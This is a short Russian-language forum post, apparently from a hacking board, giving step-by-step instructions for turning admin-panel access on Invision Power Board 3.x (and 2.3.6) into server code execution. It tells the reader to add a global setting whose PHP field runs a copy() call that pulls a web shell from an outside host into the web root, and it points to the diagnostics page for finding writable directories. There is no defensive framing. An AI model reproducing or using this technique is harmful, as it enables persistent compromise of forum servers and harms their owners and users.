IPB 3.* (проверено на 3.2.3)
Условие - доступ в админку.
Система - системные настройки - глобальные настройки - Добавить настройку.
Все поля заполняем интуитивно, в поле "PHP, исполняемый при показе и сохранении настройки" пишем что-то типа
PHP код:
copy('http://site.ru/shell.txt','/var/www/site.com/shell.php');
Доступные на запись директории можно найти "Поддержка - диагностика - проверка прав доступа", а дальше по обстоятельствам.
UPD: сработало также на версии 2.3.6